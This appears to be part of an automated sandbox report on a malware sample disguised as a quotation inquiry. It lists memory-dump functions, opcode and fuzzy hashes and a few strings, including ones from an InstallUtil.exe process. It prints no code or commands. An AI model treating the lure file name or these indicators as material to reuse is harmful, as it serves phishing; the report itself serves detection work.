Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef754e94d66db2d22796dfef330af7ba77679b4a7e17bd5d204e36de2b748e79
Instruction ID: cf216f7e34fd78916a041cea90fa67617208f7e223d5cab9c82094a7f4023f87
Opcode Fuzzy Hash: ef754e94d66db2d22796dfef330af7ba77679b4a7e17bd5d204e36de2b748e79
Instruction Fuzzy Hash: 70914574D40218CFDB55DFA9D94479DBBB2FB49318F1080AAD409A7384DB385D8ACF51

Function 064C3D6B Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e163864cf943acfbcb6142fd690d652e278e9053c76772a699c839a949804f5
Instruction ID: 48cc866220ee147968ce699b04e4f0d81b1256a530fdfffffce1a5309323c9c8
Opcode Fuzzy Hash: 1e163864cf943acfbcb6142fd690d652e278e9053c76772a699c839a949804f5
Instruction Fuzzy Hash: CC81F478E05218CFEB95CFA9D5447AEBBB1FB89324F10906AD009A7351DB399D86CF40

Function 06495E70 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea709919b009577f9592c842d60497e8cfd8fe10d6be60fd1e5ca9b8f7a1a93e
Instruction ID: c556cb6704b8e49fed85a33dd92968ab41f3ad3f7b2059a2dbdb771018fa064b
Opcode Fuzzy Hash: ea709919b009577f9592c842d60497e8cfd8fe10d6be60fd1e5ca9b8f7a1a93e
Instruction Fuzzy Hash: A6913274D40218CFEF59DFA9D544BADBBB2FB49308F20806AD409A7244DB385D8ACF51

Function 067AC978 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b382e2eacef0d3f5d391f73daa9b40e58285eeb51f3eb7a5842d440431b5e05
Instruction ID: 05677da8e6fe42388934499622d357eb20b392d4c0f01dc7b910785364f97f71
Opcode Fuzzy Hash: 8b382e2eacef0d3f5d391f73daa9b40e58285eeb51f3eb7a5842d440431b5e05
Instruction Fuzzy Hash: B2810170D05318DFEBA5DF69C844BADBBF6BF8A304F1082A9D409A7250DB744986CF81

Function 01382141 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f75bc0e7e6ea49ee6623d023eec389b5443c30a7320efe187cf1ca83a21476
Instruction ID: 757f9907e067a6b52dec1104164ede5b685516e2d85e2dc2c6b9f0e4a2c3adb8
Opcode Fuzzy Hash: d8f75bc0e7e6ea49ee6623d023eec389b5443c30a7320efe187cf1ca83a21476
Instruction Fuzzy Hash: 15614C36F106298FD754DB6DC880B5EB7A3BFC8714F1A81A4E415EB359DE74AC018B80

Function 013848A0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a124c3a69d96970acea7467f30504df5ac0134d6722121f4d2e5f2a1d2b75dd
Instruction ID: 1667a014aa99d80f4318f176ccad5026e9788273db89e79871fef8de46150e85
Opcode Fuzzy Hash: 1a124c3a69d96970acea7467f30504df5ac0134d6722121f4d2e5f2a1d2b75dd
Instruction Fuzzy Hash: 27711871A006058FD718EF6AE84069ABBF6FFC8304F14C539D009AB229EFB91D068F51

Function 013848B0 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f88d100d27c7f946eb3bfd55451b4d00b769ac31eca3738a5d81e8ba29775a2
Instruction ID: 8ae4cade61ae31deb266ccce2489856f0c036fc7ddb7a741e028fba98594bd7a
Opcode Fuzzy Hash: 8f88d100d27c7f946eb3bfd55451b4d00b769ac31eca3738a5d81e8ba29775a2
Instruction Fuzzy Hash: E0710A71A002058FD718EF7AE84069ABBF6FF88304F14C539D009A7269EFB91D468F51

Function 065B634C Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8135038e0772bd10e1272659a712e3c4491c84bf4a50db1549f6ab226e0f0b1f
Instruction ID: a61f1af0ef7933aff3239fdd4cbd418a72ea8d51494688524917b58b59f176ca
Opcode Fuzzy Hash: 8135038e0772bd10e1272659a712e3c4491c84bf4a50db1549f6ab226e0f0b1f
Instruction Fuzzy Hash: 26712270D01228CFEBA4CFA9C994BEDBBF2BB45304F50A4A9D049AB251DB759D80CF41

Function 064965D1 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81661c1594675de6fb5e1608709b55f26df892dc1e04273a0f9621968e334672
Instruction ID: 2a5eb91a8f92d4a52a8f89aa6a268fdef4611486f69414f599041c0e3ac28bf6
Opcode Fuzzy Hash: 81661c1594675de6fb5e1608709b55f26df892dc1e04273a0f9621968e334672
Instruction Fuzzy Hash: EE510474D84218CFEF94DFA9D4446EEBBB2FB89305F11A02AD405A7244DB395C46CF60

Function 064965E0 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7512598f6e089f9bf4de84db7fa2c973d0a27de97ebcbcca1e1818cfcbcf5604
Instruction ID: 4b2dc248b8556a0ba866bcbde895815a4ea2b6da86adef1b3e35cce7413b1278
Opcode Fuzzy Hash: 7512598f6e089f9bf4de84db7fa2c973d0a27de97ebcbcca1e1818cfcbcf5604
Instruction Fuzzy Hash: 8E5100B4D84218CFEF94DFA9D4446AEBBB6FB89304F11A02AD409A7244DB395C46CF60

Function 065B5AC0 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1385494aa5b704784465ed5b3a4707e6467f53582cae84a3cb58416c8015f7d
Instruction ID: 39799ec94383b365e0df84e96de50dd9e0aaf06d0ee7f7a0475ce94570006321
Opcode Fuzzy Hash: a1385494aa5b704784465ed5b3a4707e6467f53582cae84a3cb58416c8015f7d
Instruction Fuzzy Hash: 524174B1E016588BDB18CFABD94069EFBF3BFC8200F14C17AD918AB224EB3459458F50

Function 0651D9A8 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315000145.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6510000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8114d63c731eaa623b168a2b36ae2593b6cf9b08a280fa783706424f840ff6
Instruction ID: be734ea5258bac01f06d414491154314236687af2e6420017dc25c58089f9a1d
Opcode Fuzzy Hash: ba8114d63c731eaa623b168a2b36ae2593b6cf9b08a280fa783706424f840ff6
Instruction Fuzzy Hash: DD41EEB4D043488FEB54CFA9D884B9DBBF1BF09300F249129E815AB250D7789885CF85

Function 064967C5 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f70e8983d500b7677a4c277220381ebdfd27afb26c3d95c362a5818c68e5640
Instruction ID: 0edd3110eecfcc1b380e24ae2e0b4a5f319cc249e5136b8ed5d6021425346f70
Opcode Fuzzy Hash: 2f70e8983d500b7677a4c277220381ebdfd27afb26c3d95c362a5818c68e5640
Instruction Fuzzy Hash: 7641F3B4D84218CFEF94DFA8D4446ADBFB2FB8A315F11602AD109A7254DB395C86CF60

Function 064C2AE1 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c75ad86eeb41546e36dd6f6852cc70c90ce2da5d079e9bd8c5884be13b7f44a3
Instruction ID: 3c1fdfd2bc27ccb098b6d2082ecee06d3d150a32dbf7cc6b0a61c473b2cba9d0
Opcode Fuzzy Hash: c75ad86eeb41546e36dd6f6852cc70c90ce2da5d079e9bd8c5884be13b7f44a3
Instruction Fuzzy Hash: BA41F2B5D042589FDB10CFA9D480AEEFBF0BB49310F14802AE415B7240D778AA45CF64

Function 064C2AE8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1004db95dc03f8857643c33cda319d3d5b7185b38962eb8ac956e3acd8e7e331
Instruction ID: f14d6f78e00cfd4d8486c587db98a58857fb1c1b74adc4c639bfe353c00cea43
Opcode Fuzzy Hash: 1004db95dc03f8857643c33cda319d3d5b7185b38962eb8ac956e3acd8e7e331
Instruction Fuzzy Hash: F041E1B5D042589FDB10CFA9D480AEEFBF0BB09320F24902AE455B7240D778AA45CF64

Function 06790007 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3c732e49328b27bfbe82b7ed435b89bdf665202d1458261f8497d188bc45649
Instruction ID: 2887a4898e2cdfc4211ca6e6bb5ff4f9a8ee554fe07c6c22de64cc14318d509c
Opcode Fuzzy Hash: e3c732e49328b27bfbe82b7ed435b89bdf665202d1458261f8497d188bc45649
Instruction Fuzzy Hash: 38314D70D057549FEB69CF6A8C4439ABBF6AF86300F04C0EAD448AA161DB340985CF21

Function 0649E988 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e6ad949b9c9c2d104c211b98b8f3449aa8c67b24cb4de5383f4cbfe0aae05e
Instruction ID: 4f57fe530fc74aa0ba9f4728dd1f6b622dd52c2ab506c97a99623a35d16048d7
Opcode Fuzzy Hash: b3e6ad949b9c9c2d104c211b98b8f3449aa8c67b24cb4de5383f4cbfe0aae05e
Instruction Fuzzy Hash: EB312970D44258DFEB58CFAAD8407DEBBF6BF89304F14D1AAD408A7261DB7419858F90

Function 06790040 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6568462e14357b7cc1ba65805b7f33fab59a01945e72226c3b87c7bbb591218e
Instruction ID: 0fa75e2de8c3e9bb12490dafa9f7843c8e4872f4424603975a9a34ae2eafb4d8
Opcode Fuzzy Hash: 6568462e14357b7cc1ba65805b7f33fab59a01945e72226c3b87c7bbb591218e
Instruction Fuzzy Hash: 9531EB71D046299FDB68CF6AD84879AB7F6BF89300F14C0EAD81DA6654DB700A85CF01

Function 0649E360 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44524438ebdfab19370bfbbee196c9691a3d116173a1f6e6401958c99824cbc2
Instruction ID: 5f1daa9a432f05e1e19af80cae1968d85c29813b8caf7383556b426db68d78e9
Opcode Fuzzy Hash: 44524438ebdfab19370bfbbee196c9691a3d116173a1f6e6401958c99824cbc2
Instruction Fuzzy Hash: 7521DEB5D042189FDB24CFA9D880AEEBBF5FB49320F14942AE805B7211C7756945CFA4

Function 0649E998 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7beda23185ca31a789a77ce9b55d4009dab0f472d148f8d68ed46e8d559ff4c0
Instruction ID: c50c85acfb125c23a2d734d753dfec0b1cfa32ac939820436df4dd8e2ac94630
Opcode Fuzzy Hash: 7beda23185ca31a789a77ce9b55d4009dab0f472d148f8d68ed46e8d559ff4c0
Instruction Fuzzy Hash: A23114B0E44618DFEB58CFAAD8407DEBAF6BF88300F14D06AD409B7261DB7419858F50

Function 01385308 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b41529713ce95d7975d735250a7fc9380427d13a8d6f6b0347518136003d21e
Instruction ID: c50a9744809ee52918d6897223b96b32cd7cf2b45f82ae3c4b9c819bf903c731
Opcode Fuzzy Hash: 5b41529713ce95d7975d735250a7fc9380427d13a8d6f6b0347518136003d21e
Instruction Fuzzy Hash: 893187B1E057588BEB68DF6BC95478EFAF7AFC9304F14C1A9C40CA6264DB7409858F41

Function 0649E368 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1f9aafb9d5e1988984e347534ed0c5c9b6d4ee0db84a12dc6d45e4bf2f50d7
Instruction ID: 6f914c8abde231a063d7d2a2864490fb346807a72394eb76878954498e29be46
Opcode Fuzzy Hash: 1b1f9aafb9d5e1988984e347534ed0c5c9b6d4ee0db84a12dc6d45e4bf2f50d7
Instruction Fuzzy Hash: 4221DCB5D042189FDB24CFA9D880AEEBBF1FB49320F24902AE805B7210C7356941CFA4

Function 06499C28 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daa51f3e4930612678c044b8077416357738881a3a5c56b131aa35674603ee22
Instruction ID: 0ee463a7d170f5a574ddb0274676ac98a63aa5fb9fbf5afaf574c9fa0ffaa572
Opcode Fuzzy Hash: daa51f3e4930612678c044b8077416357738881a3a5c56b131aa35674603ee22
Instruction Fuzzy Hash: D22107B1D056189BEB68CFABD9447DEFAF7AFC8300F04C16AD409AA254DB7409858F60

Function 0651EEE0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315000145.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6510000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a3c05344295c6da390d81b3f82746ac72bb3c7f69646212345bff64761ddde5
Instruction ID: bcdd705efe7d3bf1531f4a1d7da7b6b65d509f2648997c4d7fe0a1cf8a10de37
Opcode Fuzzy Hash: 6a3c05344295c6da390d81b3f82746ac72bb3c7f69646212345bff64761ddde5
Instruction Fuzzy Hash: 8721A971E056188BEB58CF6BD9406D9FAF7BFC9300F04C5AA980DAA268DB7459858F40

Function 06499C38 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4173d7597620abccefb25a118dbf8c587573951c81b454a0f0968a38c70307
Instruction ID: d429fce23f719d77e74e55b62a3521d9e4755ea0a42bb27dc7468444ae9548aa
Opcode Fuzzy Hash: 5b4173d7597620abccefb25a118dbf8c587573951c81b454a0f0968a38c70307
Instruction Fuzzy Hash: 9121D3B1E056188BEB58CFABD9447DDFAF7AFC8300F08C16AC509AA254DB7409468F50

Function 0649E439 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f62278485b77ff6d44dd7b91c4f1d38f13948baf51704eef147695beb4551a8
Instruction ID: 0765cc2628eec4be1a51840545e67d5fe844fcbc9be5af9cd01f913e82e2e744
Opcode Fuzzy Hash: 5f62278485b77ff6d44dd7b91c4f1d38f13948baf51704eef147695beb4551a8
Instruction Fuzzy Hash: 3A01D6318452488FDB64EF94E8407EDBBB4EF85314F0445A6D4092B652CB795C45CBB1

Function 0679133B Relevance: 5.1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

Strings

o, xrefs: 0679EE19
H, xrefs: 0679BA06
!, xrefs: 067A038D
J, xrefs: 0679D9B2

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: !$H$J$o
API String ID: 0-2124420334
Opcode ID: 5f6fb235fe6a3ee62ee0c8695cc0b3c0316b2f46b7ce53314d0b6fbbd4cea006
Instruction ID: da90fd25c9c6e28c3bc6a0e01ab2fd3089a0e80f083aea2b6fb37cdd1ea2734d
Opcode Fuzzy Hash: 5f6fb235fe6a3ee62ee0c8695cc0b3c0316b2f46b7ce53314d0b6fbbd4cea006
Instruction Fuzzy Hash: DD518D74D5122ACFDBA4DF28D888BEDB6F5EB09718F1080EAD419A7A40DB744E84CF51

Analysis Process: InstallUtil.exePID: 7816, Parent PID: 3968COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	27
Total number of Limit Nodes:	6

Executed Functions

Function 008D9C62 Relevance: 2.8, Instructions: 2776COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc9787bb28eec70c8ce2beb0359152fee50a9fa22e05d6e6fc2944aed4fc9207
Instruction ID: 278be0a3ec03614bf34216927b3e7d673ed5971faa5ae27f9ce86c78ad44e79b
Opcode Fuzzy Hash: fc9787bb28eec70c8ce2beb0359152fee50a9fa22e05d6e6fc2944aed4fc9207
Instruction Fuzzy Hash: B553ED31D10B1A8ADB11EF68C8445A9F7B1FF99300F51D79AE458B7221EB70AAD4CF81

Function 008DCF28 Relevance: 2.3, Instructions: 2299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d62b8410188161849289a1253b7fd4a90af9c5c681915ed620f9a88e0001623d
Instruction ID: 0a32896ead12d46d492e949cd4cc3495b0360f7f53b8ab9e5f566964d01412d3
Opcode Fuzzy Hash: d62b8410188161849289a1253b7fd4a90af9c5c681915ed620f9a88e0001623d
Instruction Fuzzy Hash: D2331F31D107198EDB11EF68C8806ADF7B1FF99300F55C79AE459AB211EB70AAC5CB81

Function 008D3E48 Relevance: 1.5, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V;m, xrefs: 008D4093

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V;m
API String ID: 0-3340750809
Opcode ID: 3da19e3748ba9de22a2bc3c6ebb24fd81c2e7cf978c41cc4f32a9693cfefa229
Instruction ID: 2295bd0b0bd6f808568f6b877cb447afb021ddecb400e70e15063cb380c62df3
Opcode Fuzzy Hash: 3da19e3748ba9de22a2bc3c6ebb24fd81c2e7cf978c41cc4f32a9693cfefa229
Instruction Fuzzy Hash: 63912971E006099FDF14CFA9C88579DBBF2FB88314F14822AE415E7394EB749985CB91

Function 008D4A60 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0672f07b8f101f682bb096ebbad3ab91c3c16824ae51e43d7c48a677a5f001
Instruction ID: be05fd35679586a2201e2bd8a3d0a328615658f6a44ddaad79be01d4a8399400
Opcode Fuzzy Hash: 6b0672f07b8f101f682bb096ebbad3ab91c3c16824ae51e43d7c48a677a5f001
Instruction Fuzzy Hash: C9B15E70E002198FDB14CFA9D8817ADBBF2FF98354F14962AD415E7394EB749845CB81

Function 0599E090 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1431696542.0000000005990000.00000040.00000800.00020000.00000000.sdmp, Offset: 05990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5990000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daee479f2c2c61755a46b01233881d92248ad67d474d4df3423ca2f2069f240f
Instruction ID: 505cbbbc34b33349618369e09f18aa6c27ce325e15eed6bee348a26020c93e46
Opcode Fuzzy Hash: daee479f2c2c61755a46b01233881d92248ad67d474d4df3423ca2f2069f240f
Instruction Fuzzy Hash: 7941E472E043558BDB14DFA9D8007EABBF9EF99210F14856AE508E7341EB74A941CBD0

Function 0599E178 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0599E1DF

Memory Dump Source

Source File: 00000009.00000002.1431696542.0000000005990000.00000040.00000800.00020000.00000000.sdmp, Offset: 05990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5990000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 58494d7882107b748a2a8729edc9322245cdb49c1be324268e7e5b710f981f40
Instruction ID: b3e36877dfd2cb0baa450fb8a1577c5de24fefc1357174768e789d929fd087f3
Opcode Fuzzy Hash: 58494d7882107b748a2a8729edc9322245cdb49c1be324268e7e5b710f981f40
Instruction Fuzzy Hash: CE1126B1C006599BDB14CF9AC5447DEFBF4FF48310F14812AE818A7241D378A944CFA5

Function 008D3E3E Relevance: 1.5, Strings: 1, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V;m, xrefs: 008D4093

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V;m
API String ID: 0-3340750809
Opcode ID: 7acb1f4570ec9c5b62aa3c6b101ea65a18e1460bdbaf2814c02c1d2459f63b9d
Instruction ID: a23c0325342cbb4b754723178b6695d7156f5f273efbcc6388e15e416a3129a2
Opcode Fuzzy Hash: 7acb1f4570ec9c5b62aa3c6b101ea65a18e1460bdbaf2814c02c1d2459f63b9d
Instruction Fuzzy Hash: F6911870E006499FDF10CFA9D88579DBBF1FB48314F24822AE415E7394DB749985CB92

Function 008D7988 Relevance: .6, Instructions: 553
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
